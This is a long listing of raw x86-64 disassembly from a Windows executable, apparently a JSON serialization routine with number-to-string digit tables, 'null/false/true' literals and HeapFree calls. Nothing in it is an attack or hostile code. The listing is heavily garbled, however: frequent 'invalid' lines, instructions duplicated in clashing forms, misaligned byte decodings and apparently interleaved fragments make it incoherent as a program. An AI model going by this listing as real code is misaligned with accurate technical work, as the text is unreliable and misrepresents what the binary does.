jge 0x14006fe39
cmp qword [rbp + 0x10], 0x11
jb 0x14006fe30
invalid
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
invalid
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
call r12
dec rbx
mov rcx, qword [0x1400f0220]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, ebx
call r12
jmp 0x14006fdda
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, ebx
call r12
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, rbx
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x23
je 0x14006fdda
push 0xffffffffffffffff
invalid
invalid
clc
and ecx, dword [rdi]
test byte [rdx - 1], ch
push 0xffffffffffffffff
push 0xffffffffffffffff
invalid
mov rcx, rbx
jmp 0x1400708a3
xor ebx, ebx
cmp byte [rdi + 1], 0
add dword [rax], eax
add dword [rax], eax
sete bl
lea rax, [0x1400df52c]
lea r14, [0x1400df531]
cmove r14, rax
cmove esi, eax
or rbx, 4
retf
add al, 0x49
mov eax, dword [rdi]
mov eax, dword [rdi]
mov rdi, qword [rax]
xor r13d, r13d
lea r12, [0x1400e74c0]
jbe 0x14006fead
add bl, ch
invalid
adc dword [rdi], ecx
invalid
add byte [rax], al
add byte [rax], al
cmp byte [rsi + 0x10], 0x23
jne case.0x14004bb40.282
and ecx, dword [rdi]
test dword [rsi + 0x48000000], edx
mov ecx, dword [rdi + 0x20]
invalid
invalid
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov rdx, r14
mov r8, rbx
call qword [rax + 0x18]
test al, al
je 0x14007079b
invalid
add al, ch
fmul dword [rsi]
add byte [rax], al
call case.0x1400477cd.451
mov rsi, rax
and eax, 3
loopne 0x14006fee1
movsxd rax, dword [r12 + rax*4]
add rax, r12
add eax, esp
add eax, esp
loopne switch.0x14006fee5
jmp rax
loopne case.0x14006fdaa.60
cmp byte [rsi + 0xf], 0x23
jne case.0x14004bb40.282
invalid
invalid
mov r15, qword [rsi - 1]
mov rbp, qword [rsi + 7]
invalid
mov rcx, r15
call qword [rbp]
cmp qword [rbp + 8], 0
cmp dword [rbp + 8], 0
dec dword [rax - 0x75]
outsb dx, byte [rsi]
invalid
cmp dword [rbp + 8], 0
je 0x14006ff1f
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
jge 0x14006ff16
adc dword [rdx + 4], esi
jb 0x14006ff0d
add al, 0x4d
mov edi, dword [rdi - 8]
clc
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
clc
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 1], cl
invalid
dec rsi
mov rcx, qword [0x1400f0220]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, esi
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14006feba
add byte [rax], al
add byte [rax], al
mov rax, rsi
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x23
je 0x14006feba
mov rcx, rsi
jmp 0x1400708a3
mov rax, qword [rdi + 8]
test rax, rax
je case.0x14005f0f7.248
test byte [rbx + 4], dl
add byte [rax], al
jne case.0x1400685d6.166
add byte [rax], al
mov r8, qword [rdi + 0x10]
mov rcx, r8
ror dword [rax - 9], 0xd9
ror dword [rax - 9], 0xd9
cmovs rcx, r8
mov eax, 0x14
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp rcx, 0x2710
jb 0x140070995
invalid
add byte [rcx - 0x45], al
adc al, 0
add byte [rax], al
invalid
mov r11d, 0x14
add byte [rax], al
add byte [rcx - 0x46], cl
invalid
pop r9
movabs r10, 0x346dc5d63886594b
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edx, 0x3886594b
xchg byte [rax], bh
invalid
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
adc byte [rdi], ah
add byte [rax], al
adc byte [rdi], ah
add byte [rax], al
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
adc ebp, dword [rbx - 0x39]
sub esi, eax
sub esi, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
cld
cld
movzx edi, word [r9 + rdi*2]
cmp al, 0x79
jns 0x140070045
mov word [rsp + r11 + 0x2c], di
mov dword [rsp + r11 + 0x2c], edi
movzx esi, word [r9 + rsi*2]
mov word [rsp + r11 + 0x2e], si
je 0x14007000a
invalid
jno case.0x140070928.8
mov dword [rsp + r11 + 0x2e], esi
je 0x14007000a
mov r11, rax
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
add eax, 0x77d18948
mov dl, 0xe9
xchg ebp, eax
or dword [rax], eax
add byte [rax - 0x75], cl
mov rdx, qword [rdi + 8]
invalid
invalid
invalid
ja case.0x14006f5b1.64
jmp case.0x140065f9a.256
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
mov r8, qword [rdi + 0x18]
mov rcx, qword [r15]
mov ecx, dword [rdi]
sbb byte [rcx - 0x75], cl
psubsb mm7, qword [0x188070023]
mov ecx, dword [rdi]
call case.0x140071250.16
test rax, rax
test eax, eax
test eax, eax
jne 0x140070d98
xor r13d, r13d
jmp 0x14007079b
ja 0x140070029
add byte [rax], al
mov rbx, qword [rdi + 8]
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x80], rax
shl rax, 5
add rax, rbx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r15
mov rax, qword [r15]
mov qword [rsp + 0x78], rax
mov rbp, qword [rax]
lea rdi, [0x1400df553]
lea r13, [0x1400e7470]
invalid
add byte [rbx + rcx*4 + 0x25], cl
retf
xchg edx, eax
add eax, dword [rax]
cld
hlt
add byte [rbx + rcx*4 + 0x25], cl
retf
xchg edx, eax
add eax, dword [rax]
jmp 0x14007007b
nop dword [rax + rax]
add byte [rax], al
add byte [rcx - 0x80], al
invalid
invalid
jle case.0x14006f5b1.47
cmp byte [r14 + 0x10], 0x23
jne case.0x140070279.2
and ecx, dword [rdi]
test dword [0x18807007f], esi
mov ecx, dword [rbp + 0x20]
mov rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x28]
mov r8d, 1
mov eax, 1
mov eax, 1
mov rdx, rdi
call qword [rax + 0x18]
test al, al
je 0x1400701f5
call case.0x1400477cd.451
adc al, 0xd
add byte [rax], al
mov r14, rax
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
add eax, ebp
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140070279.2
mov r15, qword [r14 - 1]
mov edi, dword [rsi - 1]
mov rsi, qword [r14 + 7]
mov rcx, r15
mov ecx, edi
mov ecx, edi
stc
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400700e5
cmp qword [rsi + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400700d6
mov r15, qword [r15 - 8]
jg 0x1400700ce
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
mov eax, edi
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov eax, edi
call r12
dec r14
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call r12
jmp 0x14007007b
invalid
invalid
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x14007007b
imul edi, edi, 0xffffffff
invalid
imul edi, edi, 0xffffffff
invalid
jmp case.0x140070279.2
add byte [rax], al
mov r12, qword [rdi + 0x18]
mov qword [rsp + 0x20], r15
mov rax, qword [r15]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov rbp, qword [rax]
lea rbx, [0x1400df556]
sub byte [rax - 0x73], cl
sbb eax, 0x6f426
lea r13, [0x1400e7430]
jmp 0x14007014b
cmp byte [r14 + 0x10], 0x23
cmp byte [rsi + 0x10], 0x23
jne case.0x140070279.2
test dword [rbp + 2], esp
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rbp + 0x20]
invalid
invalid
mov rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x28]
mov eax, dword [rbp + 0x28]
sub byte [r9 - 0x48], r8b
add dword [rax], eax
add byte [rax], al
sub byte [r9 - 0x48], r8b
add dword [rax], eax
add byte [rax], al
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je 0x14007020d
call case.0x1400477cd.451
or al, 0
add byte [rcx - 0x77], cl
mov r14, rax
and eax, 3
movsxd rax, dword [r13 + rax*4]
mov r14, rax
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
and ecx, dword [rdi]
test dword [rcx], ebp
add al, byte [rax]
add byte [rbp - 0x75], cl
mov edi, dword [rsi - 1]
mov edi, dword [rsi - 1]
dec dword [rcx - 0x75]
jbe 0x140070196
mov rsi, qword [r14 + 7]
mov rcx, r15
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400701b8
jle 0x1400701a0
cmp qword [rsi + 0x10], 0x11
jb 0x1400701a6
adc dword [rdx + 4], esi
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f0220]
or eax, 0x80073
or eax, 0x80073
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
dec r14
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007014b
invalid
invalid
invalid
invalid
mov rax, r14
shr rax, 0x20
and byte [rbx - 0x7bf0dc08], al
pop rbx
invalid
invalid
invalid
and byte [rbx - 0x7bf0dc08], al
pop rbx
invalid
jmp case.0x140070279.2
cmp qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
je 0x1400702f5
mov al, 1
xor ecx, ecx
jmp 0x1400707b6
mov sil, 1
test r12, r12
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
jne 0x140070547
mov rax, qword [rsp + 0x28]
mov r13, qword [rax]
sub byte [rbx + rcx*4 + 0x28], cl
lea rbx, [0x1400e13db]
sbb eax, 0x711ac
lea rsi, [0x1400e7420]
jmp 0x14007024b
jno case.0x140046e3e.468
invalid
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
cmp byte [r14 + 0x10], 0x23
jne case.0x140070279.2
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x75], cl
mov ecx, dword [rbp + 0x20]
mov rax, qword [r13 + 0x28]
invalid
invalid
add dword [rax], eax
mov rcx, qword [r13 + 0x20]
mov ecx, dword [rbp + 0x20]
mov rax, qword [r13 + 0x28]
mov r8d, 1
add byte [rax], al
mov rdx, rbx
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x84
fiadd word [rdx]
add al, byte [rax]
invalid
ror byte [rdi], 0x84
fiadd word [rdx]
add al, byte [rax]
invalid
add al, byte [rax]
add al, ch
or r8d, dword [rax]
add byte [rcx - 0x77], cl
mov byte [rbx + 0x634803e0], 4
add al, 0x86
invalid
invalid
call case.0x1400477cd.451
mov r14, rax
and eax, 3
movsxd rax, dword [rsi + rax*4]
add al, 0x86
add al, 0x86
add rax, rsi
jmp rax
invalid
and ecx, dword [rdi]
test dword [rdx], ebp
add dword [rax], eax
add byte [rbp - 0x75], cl
jle 0x140070289
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov rbp, qword [r14 + 7]
mov rcx, r15
call qword [rbp]
cmp qword [rbp + 8], 0
invalid
je 0x1400702bb
add byte [rax + riz + 0x48], dh
cmp dword [rbp + 0x10], 0x11
cmp qword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400702a6
mov r15, qword [r15 - 8]
jg 0x14007029e
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
insb byte [rdi], dx
inc dword [rdi]
add byte [rcx], dh
xor edx, edx
mov r8, r15
xor edx, edx
mov r8, r15
call rax
dec r14
mov rcx, qword [0x1400f0220]
or eax, 0x7ff5b
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov eax, esi
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov eax, esi
mov eax, esi
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
call rbp
jmp 0x14007024b
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], cl
mov rax, r14
add byte [rax], al
add byte [rax], al
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
clc
and ecx, dword [rdi]
test byte [rbx - 1], bl
invalid
invalid
clc
and ecx, dword [rdi]
test byte [rbx - 1], bl
invalid
jmp case.0x140070279.2
mov ebx, 0x48000000
mov eax, dword [rsp + 0x78]
add byte [rax - 0x75], cl
and al, 0x78
mov r13, qword [rax]
lea rdi, [0x1400df554]
push rax
invalid
invalid
invalid
lea rbp, [0x1400e7460]
jmp 0x14007031b
invalid
jno 0x140070311
add bl, ch
invalid
cmp byte [rsi + 0x10], 0x23
jne case.0x140070279.2
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
and byte [r9 - 0x75], r9b
sub byte [r9 - 0x48], r8b
mov eax, 1
mov rcx, qword [r13 + 0x20]
mov rax, qword [r13 + 0x28]
mov r8d, 1
mov eax, 1
mov eax, 1
add byte [rax - 0x77], cl
cli
mov rdx, rdi
mov edx, edi
call qword [rax + 0x18]
test al, al
je 0x1400707b2
add al, 0
invalid
add al, 0
add al, ch
invalid
je 0x140070344
call case.0x1400477cd.451
add byte [rax], al
mov r14, rax
and eax, 3
loopne 0x140070345
movsxd rax, dword [rbp + rax*4]
test dword [rax], r8d
add rax, rbp
add eax, ebp
jmp rax
and esi, dword [rbp + 0x5d]
pop rbp
mov r15, qword [r14 - 1]
mov rsi, qword [r14 + 7]
mov esi, dword [rsi + 7]
mov esi, dword [rsi + 7]
mov rcx, r15
call qword [rsi]
cmp qword [rsi + 8], 0
or byte [rax], al
je case.0x140046e3e.479
cmp qword [rsi + 0x10], 0x11
cmp dword [rsi + 0x10], 0x11
jb 0x140070372
mov r15, qword [r15 - 8]
clc
mov rcx, qword [0x1400f0220]
or eax, 0x7fea7
xor edx, edx
mov r8, r15
call r12
invalid
invalid
dec r14
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call r12
jmp 0x14007031b
inc byte [rdi]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
clc
and ecx, dword [rdi]
test byte [rbx - 1], ch
imul edi, edi, 0xffffffff
invalid
clc
and ecx, dword [rdi]
test byte [rbx - 1], ch
invalid
invalid
imul edi, edi, 0xffffffff
dec dword [rcx + rcx*4 - 0xf]
mov rcx, r14
invalid
mov rcx, r14
jmp 0x1400708a3
mov rcx, qword [rdi + 0x10]
mov eax, 0x14
cmp rcx, 0x2710
add byte [rax], al
add byte [rax - 0x7f], cl
stc
adc byte [rdi], ah
add byte [rax], al
jb 0x1400709e1
add byte [rax], al
mov r10d, 0x14
movabs r8, 0x346dc5d63886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
xor al, 0x4c
lea ecx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
nop word cs:[rax + rax]
nop dword [rax + rax]
xchg byte [rax], bh
invalid
nop dword [rax + rax]
mov rax, rcx
mul r8
shr rdx, 0xb
invalid
or ebp, dword [rcx - 0x3e]
adc byte [rdi], ah
add byte [rax], al
mov r11d, ecx
sub r11d, eax
sub ebx, eax
invalid
sub ebx, eax
imul esi, r11d, 0x147b
shr esi, 0x13
imul eax, esi, 0x64
sub r11d, eax
sub ebx, eax
sub ebx, eax
movzx r11d, r11w
lea rax, [r10 - 4]
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
movzx esi, word [rcx + rsi*2]
mov bh, 0x34
jno 0x14007048a
mov word [rsp + r10 + 0x2c], si
mov dword [rsp + r10 + 0x2c], esi
sub al, 0x47
movzx ebx, word [rcx + rbx*2]
mov bh, 0x1c
pop rcx
movzx r11d, word [r9 + r11*2]
mov bh, 0x1c
pop rcx
mov word [rsp + r10 + 0x2e], r11w
mov r10, rax
mov edx, eax
cmp rcx, 0x5f5e0ff
cmp ecx, 0x5f5e0ff
mov rcx, rdx
ja case.0x140023569.744
jmp 0x1400709e4
movsd xmm0, qword [rdi + 0x10]
ucomisd xmm0, xmm0
jp case.0x14006fdaa.49
movq rax, xmm0
movabs rcx, 0x7fffffffffffffff
invalid
invalid
invalid
invalid
invalid
invalid
invalid
jg 0x1400704ab
and ecx, eax
movabs rax, 0x7ff0000000000000
add byte [rax], al
add byte [rax], al
add al, dh
jg case.0x140065df5.252
cmp ecx, eax
invalid
add byte [rax], al
add byte [rax], al
add al, dh
jg case.0x140065df5.252
cmp ecx, eax
jne case.0x14002753a.683
mov rax, qword [r15]
mov rdi, qword [rax]
mov edi, dword [rax]
mov edi, dword [rax]
lea rsi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
xor eax, 0x6f0a3
xor r13d, r13d
lea r15, [0x1400e7490]
cmp eax, 0x77001
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
jmp case.0x14004bb40.289
invalid
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov eax, dword [rdi + 0x28]
mov eax, dword [rdi + 0x28]
mov r8d, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rsi
call qword [rax + 0x18]
mov rdx, rsi
mov edx, esi
call qword [rax + 0x18]
test al, al
je 0x14007079b
add al, ch
in eax, 8
add byte [rax], al
call case.0x1400477cd.451
mov rbx, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
xchg dword [rcx + rax - 8], ecx
xchg dword [rcx + rax - 8], ecx
jmp rax
and ecx, dword [rdi]
test dword [rcx + rdi*8 - 0x74b30001], ecx
jae 0x1400704e7
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
invalid
mov rbp, qword [rbx + 7]
mov rcx, r14
mov ecx, esi
mov ecx, esi
call qword [rbp]
push rbp
add byte [rax - 0x7d], cl
invalid
invalid
jge 0x1400704fe
cmp qword [rbp + 8], 0
je 0x140070513
invalid
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
sbb cl, byte [rax - 0x7d]
jge 0x14007050d
invalid
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x140070504
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
invalid
std
invalid
ror byte [rbp - 0x77], cl
mov r8, r14
call r12
invalid
dec rbx
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call r12
jmp case.0x14004bb40.289
fmul dword [rax - 0x3f]
call 0x163ff885a
and ecx, dword [rdi]
test byte [rdx - 1], ch
push 0xffffffffffffffff
invalid
invalid
and ecx, dword [rdi]
test byte [rdx - 1], ch
push 0xffffffffffffffff
invalid
jmp case.0x140070928.2
xor esi, esi
mov rax, qword [rdi + 8]
mov eax, dword [rdi + 8]
or byte [r8 - 0x75], r9b
adc byte [r9], r14b
ror byte [rax - 0x7b], cl
ror byte [rdi], 0x95
ret 0xf4c
mov rcx, qword [rdi + 0x10]
xor edx, edx
test rax, rax
setne dl
cmove r12, rax
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
cmp byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], 0
add byte [rax - 0x77], cl
and al, 0x60
add byte [rax - 0x77], cl
and al, 0x60
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x68], rcx
and al, 0x68
mov qword [rsp + 0x70], r12
mov dword [rsp + 0x70], esp
lea r14, [0x1400e18e8]
lea rbx, [0x1400e7400]
push rcx
adc eax, dword [rdi]
add byte [rax - 0x73], cl
sbb eax, 0x76e62
lea rdi, [0x1400e73f0]
jmp 0x1400705cb
idiv edi
inc dword [rax - 0x4a]
add cl, byte [rax - 0x7b]
ror byte [rdi], 0x85
test ebp, ecx
add dword [rax], eax
invalid
mov dh, 2
test rax, rax
jne 0x140070798
test ebp, ecx
add dword [rax], eax
invalid
test ebp, ecx
add dword [rax], eax
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call case.0x14004bb40.260
test rax, rax
je 0x140070afd
add byte [rax], al
mov r13, rax
mov qword [rsp + 0x28], rdx
cmp sil, 1
inc byte [rcx]
inc byte [rcx]
jne 0x1400706d0
loopne 0x1400705ee
add byte [rax], al
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
adc byte [rax - 0x75], cl
je case.0x140023569.735
mov rsi, qword [rsp + 0x20]
and byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi]
call case.0x140071250.16
test rax, rax
jne 0x140070da0
mov rax, qword [rsi]
mov rsi, qword [rax]
jmp 0x14007062c
add byte [rcx - 0x80], al
cmp byte [r12 + 0x10], 0x23
jl 0x140070648
adc byte [rbx], ah
jne 0x140070790
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
invalid
invalid
mov r8d, 1
mov rdx, r14
call qword [rax + 0x18]
test al, al
je 0x1400705b0
invalid
invalid
invalid
invalid
push 0xffffffffe8ffffff
invalid
call case.0x1400477cd.451
mov r12, rax
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
sub byte [rcx], al
add byte [rax], al
mov r13, qword [r12 - 1]
mov r15, qword [r12 + 7]
and al, 7
and al, 7
mov rcx, r13
call qword [r15]
jmp 0x1891f05ba
cmp qword [r15 + 8], 0
or byte [rax], al
je 0x140070698
cmp qword [r15 + 0x10], 0x11
jb 0x14007068a
mov r13, qword [r13 - 8]
insd dword [rdi], dx
clc
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r13
call rbp
invalid
dec r12
mov rcx, qword [0x1400f0220]
invalid
add byte [rcx], dh
invalid
invalid
mov r8, r12
call rbp
jmp 0x14007062c
mov rax, r12
shr rax, 0x20
cmp eax, 0x23
je 0x14007062c
invalid
invalid
invalid
invalid
jmp 0x140070790
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x20
invalid
mov rax, qword [rsp + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rax]
mov eax, dword [rax]
add byte [rax - 0x75], cl
xor bl, ch
invalid
mov rsi, qword [rax]
jmp 0x1400706ec
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rcx - 0x48], r8b
add dword [rax], eax
add byte [rax], al
mov r8d, 1
lea rdx, [0x1400df555]
call qword [rax + 0x18]
invalid
invalid
sbb byte [rax + rax*8 - 0x11b7bf1], al
test al, al
je 0x1400705f0
in al, 0xfe
invalid
invalid
in al, 0xfe
invalid
call case.0x1400477cd.451
mov r12, rax
lahf
invalid
and eax, 3
loopne 0x14007071a
movsxd rax, dword [rdi + rax*4]
add rax, rdi
clc
xchg dword [rax + 1], ecx
clc
jmp rax
cmp byte [r12 + 0xf], 0x23
jne 0x140070790
mov dr6, rbp
push 0x246c8b49
mov rbp, qword [r12 - 1]
mov r15, qword [r12 + 7]
and al, 7
dec dword [rbp - 0x75]
jl 0x140070755
invalid
and al, 7
invalid
mov rcx, rbp
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14007075c
cmp qword [r15 + 0x10], 0x11
cmp dword [rdi + 0x10], 0x11
jb 0x14007074a
mov rbp, qword [rbp - 8]
insd dword [rdi], dx
clc
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov eax, dword [rbx]
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
call 0xcbdb1d59
add eax, dword [rax]
invalid
invalid
add byte [rcx - 1], cl
int3
dec r12
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
call rbp
jmp 0x1400706ec
invalid
invalid
dec dword [rdi]
invalid
add byte [rax], 0
add byte [rax], al
mov rax, r12
shr rax, 0x20
cmp eax, 0x23
clc
and ecx, dword [rdi]
test byte [rdi + rdi*8 - 1], bl
invalid
clc
and ecx, dword [rdi]
test byte [rdi + rdi*8 - 1], bl
dec dword [rcx + rcx*4 - 0x1f]
mov rcx, r12
call fcn.1400a7540
test al, 0x6d
add eax, dword [rax]
mov r13, rax
mov rax, r13
add rsp, 0x88
invalid
pop rbx
add byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov cl, 1
xor eax, eax
lea r14, [0x1400df555]
lea rbp, [0x1400e7440]
sub eax, 0x76c7c
in eax, dx
invalid
add byte [rax - 0x73], cl
sub eax, 0x76c7c
jmp 0x1400707f3
nop dword [rax + rax]
lea rsi, [rbx + 0x20]
mov rcx, rbx
mov ecx, ebx
invalid
mov rdx, qword [rsp + 0x20]
call case.0x14004bb40.283
lahf
cmc
invalid
dec dword [rcx - 0x77]
invalid
xor eax, eax
mov ecx, 0
add byte [rax], al
add byte [rax], al
lahf
cmc
invalid
add byte [rax], al
add byte [rax], al
mov rbx, rsi
test r13, r13
in eax, dx
in eax, dx
jne 0x14007079b
cmp rbx, qword [rsp + 0x28]
cmp ebx, dword [rsp + 0x28]
and al, 0x28
je 0x1400708bb
test byte [rbp - 0x58000000], bh
test al, 1
jne case.0x14004bb40.311
add dword [rbp - 0x32], esi
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov r13, qword [rax]
jmp 0x14007081a
jne case.0x14004bb40.315
add byte [rax], al
mov rcx, qword [r13 + 0x20]
mov ecx, dword [rbp + 0x20]
mov rax, qword [r13 + 0x28]
mov r8d, 1
invalid
mov rdx, r14
call qword [rax + 0x18]
test al, al
je case.0x14004bb40.311
call case.0x1400477cd.451
mov rdi, rax
mov edi, eax
add eax, 0x89480000
mov dword [rbx + 0x634803e0], 0x48008544
add eax, ebp
invalid
mov edi, eax
and eax, 3
movsxd rax, dword [rbp + rax*4]
add rax, rbp
invalid
call 0x1bf87e948
mov dr6, rbp
push rbx
jmp rax
jg 0x140070859
and esi, dword [rbp + 0x53]
mov r15, qword [rdi - 1]
mov edi, dword [rdi - 1]
jg 0x140070850
dec dword [rax - 0x75]
ja 0x14007085c
mov rsi, qword [rdi + 7]
mov rcx, r15
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14007087b
invalid
jle 0x140070866
add byte [rdx + rbx + 0x48], dh
cmp dword [rsi + 0x10], 0x11
cmp qword [rsi + 0x10], 0x11
jb case.0x1400685d6.174
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
stc
invalid
call r12
dec rdi
mov rcx, qword [0x1400f0220]
or eax, 0x7f99b
xor edx, edx
mov r8, rdi
call r12
jmp 0x14007081a
invalid
dec dword [rax - 0x77]
stc
mov rcx, rdi
add rsp, 0x88
add esp, 0x88
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400a7540
test cl, 1
jne case.0x140041cc2.450
pop rax
idiv edi
invalid
idiv edi
dec dword [rax - 0x75]
and al, 0x20
invalid
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov rdi, qword [rax]
lea rsi, [0x1400df554]
xor r13d, r13d
in eax, dx
lea r15, [0x1400e7450]
lea edi, [0x1400e7450]
add bl, ch
sbb byte [rsi + 0x66], ah
nop word cs:[rax + rax]
jmp case.0x140070279.13
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
cmp byte [rbx + 0x10], 0x23
jne case.0x140070928.2
invalid
invalid
invalid
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov eax, dword [rdi + 0x28]
mov eax, dword [rdi + 0x28]
sub byte [r9 - 0x48], r8b
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add byte [rax - 0x77], cl
bnd call qword [rax + 0x18]
mov rdx, rsi
call qword [rax + 0x18]
test al, al
je 0x14007079b
call case.0x1400477cd.451
mov rbx, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
test dword [rsi*8 - 0x74b30001], edi
jae 0x140070937
cmp al, 0xf5
invalid
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
mov ecx, esi
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je case.0x140047e6e.411
invalid
